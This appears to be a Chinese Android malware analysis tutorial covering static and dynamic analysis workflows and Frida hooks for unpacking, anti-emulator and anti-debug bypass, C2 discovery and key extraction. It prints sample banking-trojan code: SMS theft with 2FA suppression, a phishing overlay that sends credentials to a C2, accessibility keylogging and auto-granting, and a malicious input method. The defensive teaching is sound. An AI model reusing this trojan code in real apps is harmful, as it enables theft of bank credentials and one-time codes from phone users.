1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

┌──────────────────────────────────────────────────────────────────────┐
│                  Android 恶意软件分类体系                              │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐        │
│  │ 银行木马   │ │ 勒索软件   │ │  间谍软件  │ │  广告软件  │        │
│  │ Banking    │ │ Ransomware │ │  Spyware   │ │  Adware    │        │
│  │ Trojan     │ │            │ │            │ │            │        │
│  ├────────────┤ ├────────────┤ ├────────────┤ ├────────────┤        │
│  │ 覆盖攻击  │ │ 加密文件   │ │ GPS 追踪   │ │ 弹窗广告   │        │
│  │ 短信拦截  │ │ 锁定屏幕   │ │ 通话录音   │ │ 后台点击   │        │
│  │ 窃取凭证  │ │ 勒索赎金   │ │ 相机拍照   │ │ 流量欺诈   │        │
│  └────────────┘ └────────────┘ └────────────┘ └────────────┘        │
│                                                                      │
│  ┌────────────┐ ┌────────────┐ ┌────────────┐                       │
│  │  远控木马  │ │  蠕虫病毒  │ │  挖矿木马  │                       │
│  │  RAT       │ │  Worm      │ │ Cryptominer│                       │
│  ├────────────┤ ├────────────┤ ├────────────┤                       │
│  │ 远程控制  │ │ 短信传播   │ │ 后台挖矿   │                       │
│  │ 屏幕监控  │ │ 自我复制   │ │ 耗电耗流量 │                       │
│  │ 文件窃取  │ │ 社交传播   │ │ 性能下降   │                       │
│  └────────────┘ └────────────┘ └────────────┘                       │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

┌─────────────────────────────────────────────────────────────┐
│                    静态分析完整流程                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  [样本获取] ──> [哈希计算] ──> [VirusTotal 查询]             │
│       │                              │                      │
│       v                              v                      │
│  [APKiD 扫描] ──> [是否加壳?]    [已知家族?]               │
│       │              │    │          │                      │
│       │           N  │    │ Y        │                      │
│       v              v    v          v                      │
│  [APK 解包]    [直接分析] [脱壳处理] [参考已有报告]          │
│       │              │        │                             │
│       v              v        v                             │
│  [Manifest 分析] ──────────────>                            │
│       │                                                     │
│       v                                                     │
│  [权限分析] ──> [入口点定位] ──> [代码审查]                  │
│       │              │               │                      │
│       v              v               v                      │
│  [字符串提取] ──> [加密逻辑] ──> [IOC 提取]                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# 计算样本各类哈希值
md5sum suspicious.apk
sha1sum suspicious.apk
sha256sum suspicious.apk

# 使用 file 命令确认文件类型
file suspicious.apk

# 使用 aapt 快速提取包名和版本
aapt dump badging suspicious.apk | grep -E "package|sdkVersion|uses-permission"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

<!-- 恶意软件典型 Manifest 特征 -->
<manifest package="com.system.update">  <!-- 伪装系统更新 -->

  <!-- 危险权限组合 -->
  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  <uses-permission android:name="android.permission.READ_SMS"/>
  <uses-permission android:name="android.permission.SEND_SMS"/>
  <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
  <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

  <application>
    <!-- 隐藏图标 -->
    <activity android:name=".MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <!-- 注意：恶意软件安装后可能动态禁用此组件以隐藏图标 -->
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>

    <!-- 无障碍服务 (核心恶意组件) -->
    <service
      android:name=".services.MyAccessibilityService"
      android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
      <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
      </intent-filter>
      <meta-data
        android:name="android.accessibilityservice"
        android:resource="@xml/accessibility_config"/>
    </service>

    <!-- 短信接收器 -->
    <receiver android:name=".receivers.SmsReceiver"
              android:permission="android.permission.BROADCAST_SMS">
      <intent-filter android:priority="999">  <!-- 高优先级抢先拦截 -->
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
      </intent-filter>
    </receiver>

    <!-- 开机自启 (持久化) -->
    <receiver android:name=".receivers.BootReceiver">
      <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
      </intent-filter>
    </receiver>

    <!-- 设备管理器 (防止卸载) -->
    <receiver android:name=".receivers.AdminReceiver"
              android:permission="android.permission.BIND_DEVICE_ADMIN">
      <meta-data
        android:name="android.app.device_admin"
        android:resource="@xml/device_admin"/>
    </receiver>
  </application>
</manifest>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# 使用 strings 提取可读字符串
strings suspicious.apk | sort -u > strings_output.txt

# 筛选可能的 URL/域名
strings suspicious.apk | grep -iE "https?://|\.com|\.net|\.org|\.xyz|\.top"

# 筛选可能的 IP 地址
strings suspicious.apk | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

# 筛选可能的 Base64 编码内容
strings suspicious.apk | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$"

# 搜索 Telegram Bot Token 格式
strings suspicious.apk | grep -E "[0-9]{8,10}:[A-Za-z0-9_-]{35}"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

分析优先级:
  ┌─────────────────────────────────────────┐
  │ 1. Application.onCreate()               │  <-- 应用启动入口
  │ 2. AccessibilityService 实现            │  <-- 核心恶意逻辑
  │ 3. BroadcastReceiver 实现               │  <-- 短信拦截、开机自启
  │ 4. Service 实现                         │  <-- 后台持久化
  │ 5. 网络通信类                           │  <-- C2 通信
  │ 6. 加密/解密相关类                      │  <-- 密钥和算法
  │ 7. assets / res/raw 资源文件            │  <-- 加密配置、远程 DEX
  └─────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 在 Jadx 中使用 "Text Search" (Ctrl+Shift+F) 搜索以下关键词:

# C2 相关
"http"  "https"  "socket"  "websocket"  "api.telegram.org"

# 加密相关
"AES"  "DES"  "RSA"  "Base64"  "cipher"  "encrypt"  "decrypt"  "SecretKey"

# 敏感 API
"getDeviceId"  "getSubscriberId"  "getSimSerialNumber"  "getLine1Number"
"getAccounts"  "SmsManager"  "ContentResolver"

# 持久化
"AlarmManager"  "JobScheduler"  "WorkManager"  "startForeground"

# 反分析
"Build.FINGERPRINT"  "Build.MODEL"  "isDebuggerConnected"  "/proc/"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

┌─────────────────────────────────────────────────────────────────┐
│                    动态分析环境架构                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────────────────────────────────────┐                   │
│  │           分析主机 (Host)                 │                   │
│  │                                          │                   │
│  │  ┌──────────┐  ┌──────────┐  ┌────────┐  │                   │
│  │  │ Wireshark│  │ Burp     │  │ Frida  │  │                   │
│  │  │ 抓包     │  │ Suite    │  │ Server │  │                   │
│  │  └────┬─────┘  └────┬─────┘  └───┬────┘  │                   │
│  │       │              │            │       │                   │
│  └───────┼──────────────┼────────────┼───────┘                   │
│          │              │            │                           │
│     ┌────v──────────────v────────────v────┐                     │
│     │       隔离网络 (Isolated VLAN)       │                     │
│     └────────────────┬───────────────────┘                     │
│                      │                                          │
│     ┌────────────────v───────────────────┐                     │
│     │        分析设备 / 模拟器            │                     │
│     │                                    │                     │
│     │  ┌────────────┐  ┌──────────────┐  │                     │
│     │  │ 恶意样本   │  │ Frida Agent  │  │                     │
│     │  │ (Sandbox)  │  │ frida-server │  │                     │
│     │  └────────────┘  └──────────────┘  │                     │
│     └────────────────────────────────────┘                     │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# 方案 1: 使用 Android 模拟器 (推荐初学者)
# 创建一个无 Google Play 服务的干净模拟器
emulator -avd malware_analysis -no-snapshot -wipe-data

# 方案 2: 使用专用物理设备
# 恢复出厂设置后，断开 SIM 卡，使用 WiFi 连接隔离网络

# 方案 3: 使用云端沙箱
# - Joe Sandbox Mobile
# - Hybrid Analysis
# - VirusTotal (自带沙箱分析)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 方法 1: 使用 mitmproxy 捕获 HTTP(S) 流量
mitmproxy --mode transparent --showhost -w malware_traffic.flow

# 方法 2: 使用 tcpdump 在设备端全量抓包
adb shell "/data/local/tmp/tcpdump -i any -s 0 -w /sdcard/capture.pcap"
adb pull /sdcard/capture.pcap

# 方法 3: 使用 Wireshark 在主机端监听
# 将设备流量通过主机转发后在 Wireshark 中分析

# 分析 DNS 请求 (定位 C2 域名)
tshark -r capture.pcap -Y "dns.qr == 0" -T fields -e dns.qry.name | sort -u

# 提取 HTTP 请求
tshark -r capture.pcap -Y "http.request" -T fields \
  -e ip.dst -e http.host -e http.request.uri

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# 监控文件操作
adb shell "strace -f -e trace=open,openat,write,unlink \
  -p $(pidof com.malware.package) 2>&1" | tee file_ops.log

# 过滤目标进程日志
adb logcat --pid=$(adb shell pidof com.malware.package)

# 监控网络连接
adb shell "cat /proc/$(pidof com.malware.package)/net/tcp"

# 监控新文件创建 (使用 inotifywait)
adb shell "inotifywait -m -r /data/data/com.malware.package/"

1
2
3
4
5

# 以 spawn 模式启动恶意样本 (推荐，可捕获初始化行为)
frida -U -f com.malware.package -l monitor.js --no-pause

# 附加到正在运行的进程
frida -U com.malware.package -l monitor.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

public class SmsReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");
        for (Object pdu : pdus) {
            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
            String body = sms.getMessageBody();
            String sender = sms.getOriginatingAddress();

            // Upload SMS to C2 Server
            uploadSmsToC2(sender, body);

            // If SMS contains "verification code" or other key words,
            // intercept the broadcast so user cannot see it
            if (is2FACode(body)) {
                abortBroadcast();
            }
        }
    }

    private boolean is2FACode(String body) {
        // 检测是否包含验证码相关关键词
        String[] keywords = {"验证码", "verification", "code", "OTP",
                             "动态密码", "确认码", "安全码"};
        for (String kw : keywords) {
            if (body.toLowerCase().contains(kw.toLowerCase())) {
                return true;
            }
        }
        return false;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

┌─────────────────────────────────────────────────────────────┐
│                 覆盖攻击工作流程                              │
│                                                             │
│  [用户打开银行 App]                                          │
│         │                                                   │
│         v                                                   │
│  [无障碍服务检测到目标包名]                                    │
│         │                                                   │
│         v                                                   │
│  [从 C2 下载对应银行的钓鱼页面]                               │
│         │                                                   │
│         v                                                   │
│  [使用 SYSTEM_ALERT_WINDOW 创建全屏覆盖窗口]                  │
│         │                                                   │
│         v                                                   │
│  ┌──────────────────────────────────┐                       │
│  │  用户看到的界面 (假的银行登录页)   │                       │
│  │  ┌──────────────────────────┐    │                       │
│  │  │  Logo: [银行图标]        │    │                       │
│  │  │                          │    │                       │
│  │  │  用户名: [___________]   │    │  <-- WebView 钓鱼页面  │
│  │  │  密码:   [___________]   │    │                       │
│  │  │                          │    │                       │
│  │  │  [     登  录     ]      │    │                       │
│  │  └──────────────────────────┘    │                       │
│  └──────────────────────────────────┘                       │
│         │                                                   │
│         v                                                   │
│  [用户输入凭证] ──> [JavaScript 回传 Java 层]                │
│         │                                                   │
│         v                                                   │
│  [上传至 C2 服务器]                                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// 覆盖攻击的核心实现
private void showOverlay(String targetPackage) {
    // 从 C2 下载或从本地加载对应银行的钓鱼 HTML
    String phishingUrl = getPhishingPage(targetPackage);

    // 创建全屏覆盖 Window
    WindowManager.LayoutParams params = new WindowManager.LayoutParams(
        WindowManager.LayoutParams.MATCH_PARENT,
        WindowManager.LayoutParams.MATCH_PARENT,
        WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,  // Android 8.0+
        WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
            | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
        PixelFormat.TRANSLUCENT
    );

    WebView webView = new WebView(this);
    webView.getSettings().setJavaScriptEnabled(true);

    // 注册 JS Bridge，用于接收用户输入的凭证
    webView.addJavascriptInterface(new Object() {
        @JavascriptInterface
        public void onCredentialsCaptured(String username, String password) {
            // 发送到 C2
            sendToC2(targetPackage, username, password);
            // 移除覆盖窗口，显示真实的银行 App
            removeOverlay();
        }
    }, "AndroidBridge");

    webView.loadUrl(phishingUrl);
    windowManager.addView(webView, params);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

public void onAccessibilityEvent(AccessibilityEvent event) {
    String packageName = event.getPackageName().toString();

    // 1. Auto grant permissions (Self-Protection & Persistence)
    if (packageName.equals("com.android.settings")) {
        // If user opens settings page to uninstall or disable permissions,
        // malware will auto click "Back" or "Cancel"
        performGlobalAction(GLOBAL_ACTION_BACK);
    }

    // 2. Monitor target banking apps
    if (TARGET_BANK_APPS.contains(packageName)) {
        // Detected victim opened banking app
        showOverlay(packageName);
    }

    // 3. Keyboard recording (Keylogging)
    if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
        String text = event.getText().toString();
        logKey(text);
    }

    // 4. Auto-click to grant runtime permissions
    if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
        AccessibilityNodeInfo root = getRootInActiveWindow();
        if (root != null) {
            // 自动点击 "允许" 按钮
            List<AccessibilityNodeInfo> nodes =
                root.findAccessibilityNodeInfosByText("允许");
            if (!nodes.isEmpty()) {
                nodes.get(0).performAction(AccessibilityNodeInfo.ACTION_CLICK);
            }
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

// 方式 1: 通过无障碍服务 (最常见)
// 见上面 TYPE_VIEW_TEXT_CHANGED 的处理

// 方式 2: 恶意输入法
public class MaliciousIME extends InputMethodService {
    @Override
    public void onText(CharSequence text) {
        super.onText(text);
        logKeystroke(text.toString());
    }

    @Override
    public void onKey(int primaryCode, int[] keyCodes) {
        char c = (char) primaryCode;
        logKeystroke(String.valueOf(c));
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

┌─────────────────────────────────────────────────────────────┐
│               常见 C2 通信模式                                │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  模式 1: 直连 HTTP/HTTPS                                    │
│  ┌────────┐    HTTPS POST     ┌──────────┐                 │
│  │ 恶意App │ ───────────────> │ C2 Server │                 │
│  └────────┘    JSON/加密体     └──────────┘                 │
│                                                             │
│  模式 2: Telegram Bot API                                   │
│  ┌────────┐    HTTPS          ┌──────────┐   Bot API       │
│  │ 恶意App │ ───────────────> │ Telegram │ ──────────>     │
│  └────────┘                   │ Server   │  攻击者 Bot      │
│                               └──────────┘                 │
│                                                             │
│  模式 3: Firebase / 云服务                                   │
│  ┌────────┐    HTTPS          ┌──────────┐                 │
│  │ 恶意App │ ───────────────> │ Firebase │                  │
│  └────────┘                   │ Firestore│                  │
│                               └──────────┘                 │
│                                     ↑                      │
│                                攻击者通过控制台读取          │
│                                                             │
│  模式 4: DGA (域名生成算法)                                  │
│  ┌────────┐    基于日期/种子    ┌──────────┐                 │
│  │ 恶意App │ ──生成域名──────> │ 动态 C2  │                  │
│  └────────┘    abc123.xyz      └──────────┘                 │
│                def456.top                                   │
│                ghi789.cc                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# 安装 APKiD
pip install apkid

# 扫描样本
apkid suspicious.apk

# 输出示例:
# [+] suspicious.apk!classes.dex
#  |-> compiler : dexlib 2.x
#  |-> packer : DexProtector
#  |-> anti_vm : Build.FINGERPRINT check
#  |-> anti_debug : Debug.isDebuggerConnected

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

// 通用脱壳思路: Hook DexClassLoader/InMemoryDexClassLoader
// 在 DEX 被解密加载到内存时 dump 出来

Java.perform(function() {

    // Hook DexClassLoader 构造函数
    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
        console.log("[*] DexClassLoader 加载 DEX:");
        console.log("    dexPath: " + dexPath);
        console.log("    optDir:  " + optDir);

        // 读取 DEX 文件内容
        var File = Java.use("java.io.File");
        var f = File.$new(dexPath);
        if (f.exists()) {
            console.log("    大小: " + f.length() + " bytes");
            // 复制文件到可访问的目录
            copyFile(dexPath, "/data/local/tmp/dumped_" + Date.now() + ".dex");
        }

        return this.$init(dexPath, optDir, libPath, parent);
    };

    // Hook InMemoryDexClassLoader (Android 8.0+)
    try {
        var InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
        InMemoryDexClassLoader.$init.overload(
            "java.nio.ByteBuffer", "java.lang.ClassLoader"
        ).implementation = function(buf, parent) {
            console.log("[*] InMemoryDexClassLoader 内存加载 DEX");
            console.log("    大小: " + buf.remaining() + " bytes");

            // Dump ByteBuffer 内容
            var bytes = new Array(buf.remaining());
            for (var i = 0; i < bytes.length; i++) {
                bytes[i] = buf.get();
            }
            buf.position(0);  // 重置位置

            var arr = Java.array("byte", bytes);
            var fos = Java.use("java.io.FileOutputStream");
            var out = fos.$new("/data/local/tmp/inmem_" + Date.now() + ".dex");
            out.write(arr);
            out.close();
            console.log("[*] DEX 已 dump 到 /data/local/tmp/");

            return this.$init(buf, parent);
        };
    } catch(e) {
        console.log("[-] InMemoryDexClassLoader hook 失败: " + e);
    }

    // Hook defineClass 捕获所有类加载
    var ClassLoader = Java.use("java.lang.ClassLoader");
    ClassLoader.defineClass.overload(
        "java.lang.String", "java.nio.ByteBuffer",
        "java.security.ProtectionDomain"
    ).implementation = function(name, buf, domain) {
        console.log("[*] defineClass: " + name);
        return this.defineClass(name, buf, domain);
    };
});

function copyFile(src, dst) {
    Java.perform(function() {
        var FileInputStream = Java.use("java.io.FileInputStream");
        var FileOutputStream = Java.use("java.io.FileOutputStream");
        var fis = FileInputStream.$new(src);
        var fos = FileOutputStream.$new(dst);
        var buf = Java.array("byte", new Array(4096).fill(0));
        var len;
        while ((len = fis.read(buf)) > 0) {
            fos.write(buf, 0, len);
        }
        fis.close();
        fos.close();
        console.log("[+] 文件已复制到: " + dst);
    });
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

// 常见模拟器检测点及 Frida 绕过

Java.perform(function() {

    var Build = Java.use("android.os.Build");

    // 伪造设备指纹
    Build.FINGERPRINT.value = "samsung/dream2ltexx/dream2lte:9/PPR1.180610.011:eng/user";
    Build.MODEL.value = "SM-G955F";
    Build.MANUFACTURER.value = "samsung";
    Build.BRAND.value = "samsung";
    Build.DEVICE.value = "dream2lte";
    Build.PRODUCT.value = "dream2ltexx";
    Build.HARDWARE.value = "samsungexynos8895";
    Build.BOARD.value = "universal8895";

    // 绕过电话号码检测
    var TelephonyManager = Java.use("android.telephony.TelephonyManager");
    TelephonyManager.getLine1Number.implementation = function() {
        return "+8613800138000";
    };
    TelephonyManager.getDeviceId.overload().implementation = function() {
        return "352840071234567";
    };
    TelephonyManager.getSubscriberId.implementation = function() {
        return "460001234567890";
    };
    TelephonyManager.getSimOperatorName.implementation = function() {
        return "中国移动";
    };
    TelephonyManager.getNetworkOperatorName.implementation = function() {
        return "中国移动";
    };

    // 绕过文件检测 (模拟器特有文件)
    var File = Java.use("java.io.File");
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        var emulatorFiles = [
            "/dev/socket/qemud",
            "/dev/qemu_pipe",
            "/system/lib/libc_malloc_debug_qemu.so",
            "/sys/qemu_trace",
            "/system/bin/qemu-props",
            "/dev/goldfish_pipe"
        ];
        for (var i = 0; i < emulatorFiles.length; i++) {
            if (path === emulatorFiles[i]) {
                console.log("[*] 模拟器文件检测已绕过: " + path);
                return false;
            }
        }
        return this.exists();
    };
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

// 绕过 Debug.isDebuggerConnected()
Java.perform(function() {
    var Debug = Java.use("android.os.Debug");
    Debug.isDebuggerConnected.implementation = function() {
        console.log("[*] isDebuggerConnected() 已绕过");
        return false;
    };
});

// 绕过 /proc/self/status TracerPid 检测 (Native 层)
Interceptor.attach(Module.findExportByName("libc.so", "fopen"), {
    onEnter: function(args) {
        var path = args[0].readUtf8String();
        if (path && path.indexOf("/proc/") !== -1 && path.indexOf("/status") !== -1) {
            this.isProcStatus = true;
        }
    },
    onLeave: function(retval) {}
});

Interceptor.attach(Module.findExportByName("libc.so", "fgets"), {
    onEnter: function(args) {
        this.buf = args[0];
    },
    onLeave: function(retval) {
        if (this.buf) {
            var content = this.buf.readUtf8String();
            if (content && content.indexOf("TracerPid") !== -1) {
                this.buf.writeUtf8String("TracerPid:\t0\n");
                console.log("[*] TracerPid 检测已绕过");
            }
        }
    }
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

// Frida 脚本: 自动提取 C2 地址
// Hook 所有网络连接相关 API

Java.perform(function() {

    // Hook URL 构造
    var URL = Java.use("java.net.URL");
    URL.$init.overload("java.lang.String").implementation = function(url) {
        console.log("[URL] " + url);
        return this.$init(url);
    };

    // Hook HttpURLConnection.connect()
    var HttpURLConnection = Java.use("java.net.HttpURLConnection");
    HttpURLConnection.connect.implementation = function() {
        console.log("[HTTP] 连接: " + this.getURL().toString());
        console.log("  方法: " + this.getRequestMethod());
        return this.connect();
    };

    // Hook OkHttp (许多恶意软件使用 OkHttp)
    try {
        var OkHttpClient = Java.use("okhttp3.OkHttpClient");
        OkHttpClient.newCall.implementation = function(request) {
            var url = request.url().toString();
            var method = request.method();
            console.log("[OkHttp] " + method + " " + url);

            // 打印请求头
            var headers = request.headers();
            for (var i = 0; i < headers.size(); i++) {
                console.log("  Header: " + headers.name(i) + ": " + headers.value(i));
            }

            return this.newCall(request);
        };
    } catch(e) {}

    // Hook Socket 连接 (用于非 HTTP 协议的 C2)
    var Socket = Java.use("java.net.Socket");
    Socket.connect.overload(
        "java.net.SocketAddress", "int"
    ).implementation = function(addr, timeout) {
        console.log("[Socket] 连接: " + addr.toString() + " 超时: " + timeout);
        return this.connect(addr, timeout);
    };
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

Java.perform(function() {

    // Hook javax.crypto.Cipher
    var Cipher = Java.use("javax.crypto.Cipher");

    Cipher.doFinal.overload("[B").implementation = function(input) {
        var mode = this.getOpMode();  // 1=ENCRYPT, 2=DECRYPT
        var algo = this.getAlgorithm();
        var result = this.doFinal(input);

        if (mode === 1) {
            console.log("\n[Cipher] 加密操作 (" + algo + ")");
            console.log("  明文: " + bytesToString(input));
            console.log("  密文(hex): " + bytesToHex(result));
        } else if (mode === 2) {
            console.log("\n[Cipher] 解密操作 (" + algo + ")");
            console.log("  密文(hex): " + bytesToHex(input));
            console.log("  明文: " + bytesToString(result));
        }

        return result;
    };

    // Hook SecretKeySpec 提取加密密钥
    var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
    SecretKeySpec.$init.overload("[B", "java.lang.String").implementation = function(key, algo) {
        console.log("\n[Key] 算法: " + algo);
        console.log("  密钥(hex): " + bytesToHex(key));
        console.log("  密钥(str): " + bytesToString(key));
        return this.$init(key, algo);
    };

    // Hook IvParameterSpec 提取 IV
    var IvParameterSpec = Java.use("javax.crypto.spec.IvParameterSpec");
    IvParameterSpec.$init.overload("[B").implementation = function(iv) {
        console.log("[IV] " + bytesToHex(iv));
        return this.$init(iv);
    };
});

function bytesToHex(bytes) {
    var hex = [];
    for (var i = 0; i < bytes.length; i++) {
        hex.push(('0' + (bytes[i] & 0xFF).toString(16)).slice(-2));
    }
    return hex.join('');
}

function bytesToString(bytes) {
    var result = "";
    for (var i = 0; i < bytes.length; i++) {
        result += String.fromCharCode(bytes[i] & 0xFF);
    }
    return result;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

典型银行木马 C2 协议结构:

┌──────────── 请求报文 ────────────┐
│                                  │
│  {                               │
│    "cmd": "register",            │  <-- 指令类型
│    "bot_id": "a1b2c3d4",         │  <-- 设备唯一标识
│    "data": {                     │
│      "model": "SM-G955F",        │  <-- 设备信息
│      "android": "11",            │
│      "operator": "中国移动",      │
│      "apps": [                   │  <-- 已安装银行 App 列表
│        "com.icbc",               │
│        "com.ccb.banking",        │
│        "com.chinamworld.bocmbci" │
│      ],                          │
│      "lang": "zh_CN",            │
│      "is_admin": true,           │  <-- 是否获取了设备管理员
│      "is_accessibility": true    │  <-- 是否获取了无障碍权限
│    }                             │
│  }                               │
│                                  │
└──────────────────────────────────┘

┌──────────── 响应报文 ────────────┐
│                                  │
│  {                               │
│    "status": "ok",               │
│    "commands": [                 │
│      {                           │
│        "action": "inject",       │  <-- 注入覆盖页面
│        "target": "com.icbc",     │  <-- 目标 App
│        "url": "https://xx/icbc"  │  <-- 钓鱼页面 URL
│      },                          │
│      {                           │
│        "action": "sms_forward",  │  <-- 转发短信
│        "phone": "+86xxx"         │
│      },                          │
│      {                           │
│        "action": "update",       │  <-- 更新自身
│        "url": "https://xx/v2.apk"│
│      }                           │
│    ]                             │
│  }                               │
│                                  │
└──────────────────────────────────┘

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160

// malware_monitor.js - 恶意软件综合行为监控脚本
// 用法: frida -U -f com.malware.package -l malware_monitor.js --no-pause

"use strict";

console.log("========================================");
console.log("  恶意软件行为监控 v1.0");
console.log("========================================\n");

Java.perform(function() {

    // ===== 1. 短信相关 API 监控 =====
    console.log("[*] 挂载短信监控...");

    var SmsManager = Java.use("android.telephony.SmsManager");
    SmsManager.sendTextMessage.overload(
        "java.lang.String", "java.lang.String", "java.lang.String",
        "android.app.PendingIntent", "android.app.PendingIntent"
    ).implementation = function(dst, sc, text, sentIntent, deliveryIntent) {
        console.log("\n[!!! SMS 发送 !!!]");
        console.log("  目标号码: " + dst);
        console.log("  内容: " + text);
        console.log("  调用栈:\n" + Java.use("android.util.Log")
            .getStackTraceString(Java.use("java.lang.Exception").$new()));
        return this.sendTextMessage(dst, sc, text, sentIntent, deliveryIntent);
    };

    // ===== 2. 电话/设备信息获取监控 =====
    console.log("[*] 挂载设备信息监控...");

    var TelephonyManager = Java.use("android.telephony.TelephonyManager");

    TelephonyManager.getDeviceId.overload().implementation = function() {
        var result = this.getDeviceId();
        console.log("[INFO] getDeviceId() => " + result);
        return result;
    };

    TelephonyManager.getSubscriberId.implementation = function() {
        var result = this.getSubscriberId();
        console.log("[INFO] getSubscriberId() => " + result);
        return result;
    };

    TelephonyManager.getLine1Number.implementation = function() {
        var result = this.getLine1Number();
        console.log("[INFO] getLine1Number() => " + result);
        return result;
    };

